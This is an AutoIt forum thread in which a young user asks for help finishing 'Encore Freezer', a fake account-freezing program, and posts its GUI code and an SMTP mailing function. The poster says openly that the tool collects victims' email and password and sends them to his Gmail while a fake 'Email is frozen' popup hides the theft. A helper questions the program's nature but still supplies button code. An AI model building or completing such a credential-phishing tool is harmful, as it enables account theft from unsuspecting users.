Button Link

[hacker032]

am new in this scripting and i making some program so i made on button and i have to type link in it so how please tell me?

[martin]

am new in this scripting and i making some program so i made on button and i have to type link in it so how please tell me?

Welcome to the AutoIt forums hacker032

Can you show what you have so far?

[hacker032]

here is screenshoot Down after freeze and unfreeze should be a button with link so can u help me..

Function is that someone type fields and press freeze or unfreeze all sends to one mail but it's open one pop up with "Email is forzen" Fake but it's my first is that ok?

Edited February 1, 2009 by hacker032

[martin]

here is screenshoot Down after freeze and unfreeze should be a button with link so can u help me..

Function is that someone type fields and press freeze or unfreeze all sends to one mail but it's open one pop up with "Email is forzen" Fake but it's my first is that ok?

Thanks. What I meant was have you got any code to show.

The button at the bottom which you want for a link, do you mean that when someone presses it the email gets sent? Maybe I haven't understood you.

[hacker032]

yeah u type fields and all sent to my gmail user...Its my first i have 12 years

[hacker032]

now i just change this fields in a input box like this is augly pls help me and i need just a button function for sending and pls tell me where to put it

[hacker032]

anyone gonna help????? first u press freeze and all sents to gmail

and the link is for a real forum i just have to active that buttons one is for sending "Freeze!"...."Defreeze" is nothing

and and last one is for a link to go at the forum.....Just need to get activate

Edited February 2, 2009 by hacker032

[BrettF]

Possible if you talk in legible english and if you do what was already suggested (Post your code), we can...

And why the blacking out of parts in your picture? Got something to hide about the nature of the program?

EDIT: Also, wait 24 hours before bumping your post!

Edited February 2, 2009 by BrettF

[hacker032]

expandcollapse popup

#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.0.0
 Author:         Ivan Andrijanic 

 Script Function:
    Template AutoIt script.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here


#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

#Region ### START Koda GUI section ### Form=c:\documents and settings\korisnik\desktop\desktop\encorefreezer 1.kxf
$Form1_1 = GUICreate("Encore Freezer 1.0", 357, 380, 297, 181)
GUISetFont(10, 800, 0, "Comic Sans MS")
GUISetBkColor(0xFFFFFF)
$Label2 = GUICtrlCreateLabel("Email:", 40, 161, 43, 23)
$Label3 = GUICtrlCreateLabel("My Email:", 16, 207, 67, 23)
$Label4 = GUICtrlCreateLabel("Password:", 15, 255, 66, 23)
$UnFreeze = GUICtrlCreateButton("UnFreeze", 200, 297, 75, 25, 0)
GUICtrlSetTip(-1, "UnFreeze!")
$Freeze = GUICtrlCreateButton("Freeze", 91, 298, 75, 25, 0) 
GUICtrlSetTip(-1, "Freeze!")
$Group1 = GUICtrlCreateGroup("Account info", 36, 530, 303, 120)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Input1 = GUICtrlCreateInput("Password", 166, 600, 146, 27)
GUICtrlCreateInput("pwned879@gmail.com", 166, 560, 146, 27)
$Label5 = GUICtrlCreateLabel("Password:", 86, 601, 66, 23)
$Label6 = GUICtrlCreateLabel("Gmail Username:", 47, 564, 110, 23)
$Label8 = GUICtrlCreateLabel("To:", 117, 668, 26, 23)
$Button1 = GUICtrlCreateButton("Visit Encore Forum", 103, 336, 156, 24, 0)
GUICtrlSetTip(-1, "Encore!")
$Input2 = GUICtrlCreateInput("encorehacking@gmail.com", 144, 662, 211, 27)
$Pic1 = GUICtrlCreatePic("C:\Documents and Settings\korisnik\Desktop\abx.JPG", 90, 5, 190, 99, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
GUICtrlCreateInput("", 95, 157, 181, 27)
GUICtrlCreateInput("", 93, 204, 183, 27)
GUICtrlCreateInput("", 92, 255, 184, 27)
$Label1 = GUICtrlCreateLabel("How Long:", 12, 118, 70, 23)
GUICtrlCreateInput("", 94, 113, 181, 27)
$Label7 = GUICtrlCreateLabel("Minutes", 287, 115, 52, 23)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

EndSwitch
WEnd

;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF);### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 Then $IPPort = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
;Update settings
    $objEmail.Configuration.Fields.Update
; Set Email Importance
    Switch $s_Importance
        Case ""
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "H"
        Case ""
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "N"
        Case ""
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "L"
    EndSwitch
    $objEmail.Fields.Update
; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail = ""
EndFunc  ;==>_INetSmtpMailCom

Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc  ;==>MyErrFunc
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

EndSwitch
WEnd

Here!

[BrettF]

Hi there,

Take a close look at your GUI message loop.

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button1
            ShellExecute ("http://www.google.com.au/")
    EndSwitch
WEnd

See where I added a case statement? Basically when you create a control, it returns a control ID. GUIGetMsg will also return a control ID when an action happens to the control- mouse click etc. I used ShellExecute so the webpage opens in my browser.

Just a note though, you had a second Loop at the bottom of your script, and It had no reason to be there, so I deleted it, but I also had problems getting it to run with _INETSMTPMailCom(), so make sure you have a look at undeclared variables (use the full version of SciTE, the download link is in my sig... )

Cheers,

Brett

[hacker032]

no probs i have my friend..